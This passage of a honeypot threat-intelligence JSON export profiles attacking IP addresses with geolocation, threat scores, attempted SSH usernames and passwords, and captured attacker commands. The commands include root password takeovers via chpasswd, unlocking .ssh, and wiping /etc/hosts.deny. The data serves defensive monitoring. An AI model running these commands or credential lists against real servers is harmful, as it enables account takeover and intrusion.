        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:18:27.732000+00:00",
        "last_seen_30d": "2026-05-15T04:19:47.681000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.246": {
      "attack_count": 2,
      "first_seen": "2026-05-30T12:54:42.900Z",
      "last_seen": "2026-05-30T12:54:42.901Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 30,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T18:46:05+00:00",
        "last_seen_30d": "2026-05-31T13:14:18.968000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Honeytrap": 31,
        "Cowrie": 2
      }
    },
    "91.80.192.153": {
      "attack_count": 2,
      "first_seen": "2026-05-13T21:14:17.064Z",
      "last_seen": "2026-05-13T21:14:19.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:14:17.064000+00:00",
        "last_seen_30d": "2026-05-13T21:15:28.175000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.132.156": {
      "attack_count": 3713,
      "first_seen": "2026-05-03T12:11:59.547Z",
      "last_seen": "2026-05-03T13:31:50.096Z",
      "sessions": 742,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "admin",
        "user",
        "ftpuser",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "aaa",
        "ali",
        "debian"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "12345",
        "p@ssw0rd",
        "1",
        "admin",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin123",
        "1234567",
        "123root",
        "0000",
        "11",
        "123123123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5491,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T12:11:56.571000+00:00",
        "last_seen_30d": "2026-05-03T13:32:55.697000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3713,
        "Suricata": 1778
      }
    },
    "83.168.110.85": {
      "attack_count": 1924,
      "first_seen": "2026-05-12T17:05:03.919Z",
      "last_seen": "2026-05-12T18:43:27.028Z",
      "sessions": 382,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "deploy",
        "ubuntu",
        "postgres",
        "test",
        "user1",
        "git",
        "hadoop",
        "minecraft",
        "mysql",
        "oracle",
        "steam",
        "debian",
        "dev",
        "elasticsearch",
        "es",
        "frappe",
        "ftp"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "admin123",
        "111111",
        "Aa123456",
        "Admin@123",
        "P@ssw0rd",
        "admin",
        "frappe",
        "rock",
        "test",
        "test123",
        "user"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 202520,
      "as_org": "SkyPass Solutions Sp. z.o.o.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 2713,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:05:03.919000+00:00",
        "last_seen_30d": "2026-05-12T18:44:35.998000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1924,
        "Suricata": 789
      }
    },
    "152.32.253.5": {
      "attack_count": 1912,
      "first_seen": "2026-05-11T18:56:13.797Z",
      "last_seen": "2026-05-11T20:30:19.358Z",
      "sessions": 382,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "deploy",
        "ubuntu",
        "postgres",
        "test",
        "user1",
        "git",
        "hadoop",
        "minecraft",
        "mysql",
        "oracle",
        "steam",
        "debian",
        "dev",
        "elasticsearch",
        "es",
        "frappe",
        "ftp"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "admin123",
        "111111",
        "Aa123456",
        "Admin@123",
        "P@ssw0rd",
        "admin",
        "frappe",
        "rock",
        "test",
        "test123",
        "user"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 2698,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:56:13.797000+00:00",
        "last_seen_30d": "2026-05-11T20:31:24.907000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1912,
        "Suricata": 786
      }
    },
    "202.165.29.123": {
      "attack_count": 660,
      "first_seen": "2026-05-14T13:16:40.178Z",
      "last_seen": "2026-05-18T09:18:43.729Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "pakchoi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "!Gb8vlUG",
        "112233",
        "123456aAa!",
        "123zxc",
        "20172017",
        "21vianet",
        "314159",
        "ABCabc",
        "Elephant123",
        "Kermit123@",
        "aapje123",
        "admin2010",
        "admins",
        "amplifier",
        "andrea",
        "asd123456",
        "athens"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BE5UaRqUP6Mk\"|chpasswd|bash",
        "echo \"root:GjhSDSDCeWY3\"|chpasswd|bash",
        "echo \"root:f17bGOK2Xiuz\"|chpasswd|bash",
        "echo \"root:qw1c2LqlQBZ5\"|chpasswd|bash",
        "echo \"root:zy2G2lwi8KAn\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 829,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:16:40.178000+00:00",
        "last_seen_30d": "2026-05-18T09:19:45.739000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 660,
        "Suricata": 169
      }
    },
    "183.82.111.224": {
      "attack_count": 582,
      "first_seen": "2026-05-04T10:05:53.245Z",
      "last_seen": "2026-05-23T02:43:09.615Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "postgres",
        "345gs5662d34",
        "csserver",
        "developer",
        "ftpuser",
        "oracle",
        "support",
        "test",
        "testuser",
        "user1",
        "user13",
        "Ubuntu",
        "administrator",
        "appadmin",
        "es",
        "extern",
        "ftpadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "pass",
        "qazwsxedc",
        "!@#qweasd",
        "1234",
        "12341234",
        "1234567",
        "123456789",
        "123456Mm",
        "1234abcd",
        "1234rewq",
        "123@@@",
        "123qwe",
        "123vps",
        "5555555",
        "6666666",
        "Abc12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nJpBmELis2Ryr\\nJpBmELis2Ryr\\n\"|passwd",
        "echo \"Itsemoemo2025@Washere2025\\nICIgWHXa2gPD\\nICIgWHXa2gPD\\n\"|passwd",
        "echo \"password\\noOPX3mwxKPRw\\noOPX3mwxKPRw\\n\"|passwd",
        "echo -e \"123456\\nJpBmELis2Ryr\\nJpBmELis2Ryr\"|passwd|bash",
        "echo -e \"Itsemoemo2025@Washere2025\\nICIgWHXa2gPD\\nICIgWHXa2gPD\"|passwd|bash",
        "echo -e \"password\\noOPX3mwxKPRw\\noOPX3mwxKPRw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 18209,
      "as_org": "Atria Convergence Technologies Ltd.",
      "threat_score": 42.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.1,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 813,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:05:53.245000+00:00",
        "last_seen_30d": "2026-05-23T02:44:16.975000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 582,
        "Suricata": 231
      }
    },
    "103.43.191.43": {
      "attack_count": 536,
      "first_seen": "2026-05-18T10:37:33.511Z",
      "last_seen": "2026-05-25T11:35:42.712Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cloud",
        "anita",
        "cms",
        "curl",
        "jc",
        "jenkins",
        "john",
        "mqm",
        "nils",
        "phil",
        "pruebas",
        "sam",
        "steam",
        "tunnel",
        "usuario2",
        "vyos"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "123",
        "123456",
        "123456789a@",
        "222222",
        "@123qwe",
        "Asdfghjkl",
        "Huawei@12#$",
        "Huawei@5tgb",
        "P@ssw0rd@1234",
        "Password321",
        "Password@12345",
        "QWEqwe123",
        "Rahul123",
        "Root!123",
        "Server01",
        "Wangsu@2017",
        "Welcome@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Wangsu@2017\\ncSSS3hStZWei\\ncSSS3hStZWei\\n\"|passwd",
        "echo \"root:NG4Vs7ftwiWi\"|chpasswd|bash",
        "echo \"root:glS5tRuwDHQ5\"|chpasswd|bash",
        "echo \"root:kCxwO5YiUSLH\"|chpasswd|bash",
        "echo \"root:mmcgWA1bsSiI\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\ncSSS3hStZWei\\ncSSS3hStZWei\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 139021,
      "as_org": "West263 International Limited",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 650,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T10:37:33.511000+00:00",
        "last_seen_30d": "2026-05-25T11:36:44.567000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 536,
        "Suricata": 114
      }
    },
    "213.230.111.14": {
      "attack_count": 504,
      "first_seen": "2026-05-20T21:55:32.651Z",
      "last_seen": "2026-05-21T14:20:23.873Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cockroach",
        "roman",
        "socks",
        "viktor",
        "xian",
        "cassandra",
        "deploy",
        "ding",
        "docker",
        "filebeat",
        "ganesh",
        "gcp",
        "guangzhou",
        "huahua",
        "kaifa",
        "kubectl",
        "linh"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "10000",
        "2000",
        "Dd112211",
        "December2024",
        "cassandra",
        "cockroach",
        "ding",
        "filebeat",
        "google",
        "jio",
        "kubectl",
        "lanzhou",
        "linh",
        "login",
        "ma",
        "messagebus"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nWmO3CFmc00Mm\\nWmO3CFmc00Mm\\n\"|passwd",
        "echo \"cockroach\\nWTvTeYXnRL5t\\nWTvTeYXnRL5t\\n\"|passwd",
        "echo \"viktor\\nNIC7qZNNU6KB\\nNIC7qZNNU6KB\\n\"|passwd",
        "echo \"xian\\nAmZCaCxSZBw4\\nAmZCaCxSZBw4\\n\"|passwd",
        "echo -e \"123456\\nWmO3CFmc00Mm\\nWmO3CFmc00Mm\"|passwd|bash",
        "echo -e \"cockroach\\nWTvTeYXnRL5t\\nWTvTeYXnRL5t\"|passwd|bash",
        "echo -e \"viktor\\nNIC7qZNNU6KB\\nNIC7qZNNU6KB\"|passwd|bash",
        "echo -e \"xian\\nAmZCaCxSZBw4\\nAmZCaCxSZBw4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 620,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T21:55:32.651000+00:00",
        "last_seen_30d": "2026-05-21T14:21:28.509000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 504,
        "Suricata": 116
      }
    },
    "185.158.22.150": {
      "attack_count": 502,
      "first_seen": "2026-05-10T07:16:12.876Z",
      "last_seen": "2026-05-21T22:55:18.508Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "copia",
        "ec2-user",
        "kafka",
        "monitor",
        "admins",
        "crm",
        "dev",
        "devops",
        "gits",
        "hadoop",
        "hadoop2",
        "hb",
        "mysql",
        "postgres",
        "ptest",
        "sftp"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123qwe!@#",
        "09N1RCa1Hs31",
        "12345",
        "12345678",
        "123@123aA",
        "1qazxsw2",
        "ABCabc123",
        "Admin123789",
        "Admin@123",
        "QazWsx123",
        "Qwer1234",
        "a",
        "abc@1234",
        "admin",
        "admin!@#$1234",
        "admin123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nkXdFUaQFKGbk\\nkXdFUaQFKGbk\\n\"|passwd",
        "echo \"copia\\nCSho3QQSQyX0\\nCSho3QQSQyX0\\n\"|passwd",
        "echo \"kafka@123\\nsEiAU3vM36nS\\nsEiAU3vM36nS\\n\"|passwd",
        "echo \"root:FrZ9NhDIOOgt\"|chpasswd|bash",
        "echo -e \"12345\\nkXdFUaQFKGbk\\nkXdFUaQFKGbk\"|passwd|bash",
        "echo -e \"copia\\nCSho3QQSQyX0\\nCSho3QQSQyX0\"|passwd|bash",
        "echo -e \"kafka@123\\nsEiAU3vM36nS\\nsEiAU3vM36nS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Karbala",
      "asn": 210022,
      "as_org": "Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 624,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:16:12.876000+00:00",
        "last_seen_30d": "2026-05-21T22:56:19.019000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 502,
        "Suricata": 122
      }
    },
    "217.154.106.153": {
      "attack_count": 502,
      "first_seen": "2026-05-03T07:50:07.990Z",
      "last_seen": "2026-05-31T11:50:53.933Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "345gs5662d34",
        "test",
        "debian",
        "git",
        "mysql",
        "user",
        "admin1",
        "alexandre",
        "appuser",
        "deployer",
        "deployman",
        "dev",
        "duser",
        "ftpuser",
        "ftpuser1",
        "httpadmin",
        "lijy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234",
        "!QAZ2wsx",
        "000000",
        "123",
        "123123",
        "1234554321",
        "123456",
        "123ubuntu123",
        "13579",
        "1q2w3e",
        "1q2w3e4r5",
        "1qaz2wsx",
        "1qaz2wsx#EDC",
        "1qazxsw2#EDC",
        "20232023",
        "87654321",
        "A123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\nydDGAe6rgi5S\\nydDGAe6rgi5S\\n\"|passwd",
        "echo \"20232023\\nlJDNlqbdRZCA\\nlJDNlqbdRZCA\\n\"|passwd",
        "echo \"QWEdsa1@#\\nm5JfHReRAVLL\\nm5JfHReRAVLL\\n\"|passwd",
        "echo -e \"1\\nydDGAe6rgi5S\\nydDGAe6rgi5S\"|passwd|bash",
        "echo -e \"20232023\\nlJDNlqbdRZCA\\nlJDNlqbdRZCA\"|passwd|bash",
        "echo -e \"QWEdsa1@#\\nm5JfHReRAVLL\\nm5JfHReRAVLL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 64.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.1,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 647,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:50:07.990000+00:00",
        "last_seen_30d": "2026-05-31T11:51:56.233000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 502,
        "Suricata": 145
      }
    },
    "5.99.196.202": {
      "attack_count": 312,
      "first_seen": "2026-05-21T18:02:43.701Z",
      "last_seen": "2026-05-21T19:07:55.858Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nagios",
        "sangfor",
        "wangzherongyao",
        "fedora",
        "icinga2",
        "meng",
        "nomad",
        "priya",
        "qemu",
        "rabbitmq",
        "ren",
        "socks",
        "su",
        "zhongguo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "202424",
        "37games",
        "990909",
        "ROOT",
        "admin",
        "douyin123",
        "fedora",
        "gmo",
        "icinga2",
        "meng",
        "nomad",
        "ren",
        "sangfor",
        "socks",
        "su",
        "wangzherongyao"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin\\nOw6aVNJFHGZh\\nOw6aVNJFHGZh\\n\"|passwd",
        "echo \"sangfor\\n4TBZOQq85rVB\\n4TBZOQq85rVB\\n\"|passwd",
        "echo \"wangzherongyao\\nYPlZWzPdVDzA\\nYPlZWzPdVDzA\\n\"|passwd",
        "echo -e \"admin\\nOw6aVNJFHGZh\\nOw6aVNJFHGZh\"|passwd|bash",
        "echo -e \"sangfor\\n4TBZOQq85rVB\\n4TBZOQq85rVB\"|passwd|bash",
        "echo -e \"wangzherongyao\\nYPlZWzPdVDzA\\nYPlZWzPdVDzA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Grosseto",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
